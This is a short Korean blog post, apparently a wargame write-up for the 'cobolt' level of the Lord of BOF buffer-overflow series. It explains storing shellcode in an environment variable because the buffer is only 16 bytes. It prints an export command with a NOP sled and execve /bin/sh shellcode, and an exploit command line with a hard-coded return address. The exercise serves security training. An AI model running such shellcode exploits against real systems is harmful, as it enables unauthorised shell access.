티스토리 뷰



cobolt의 소스코드를 보시면 먼저 버퍼부분이 256 -> 16으로 바뀌어져있습니다. 즉 예전에는 쉘코드를 256바이트 부분에다가 넣었다면 이번에는 그렇게할 수 없다는 뜻입니다. 


이 때 사용하는 방식이 쉘코드를 환경변수에 넣는 방식입니다. 


export SHELLCODE=$(python -c 'print "\90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')


위 명령어를 입력한 후 env 를 이용해서 현재의 환경변수를 확인할 수 있습니다. 


./cobolt `python -c 'print "\x90"*20+"\x08\xfb\xff\xbf"+"\x90"*20+"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"'`


bf ff fb08


'문제풀이 > bof원정대' 카테고리의 다른 글

bof 원정대 wolfman -> darkelf  (0) 2016.08.15
bof 원정대 orc -> wolfman  (0) 2016.08.15
bof 원정대 goblin -> orc  (0) 2016.08.15
bof원정대 gate -> gremlin  (0) 2016.08.15
BOF 기본  (0) 2016.08.14
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
글 보관함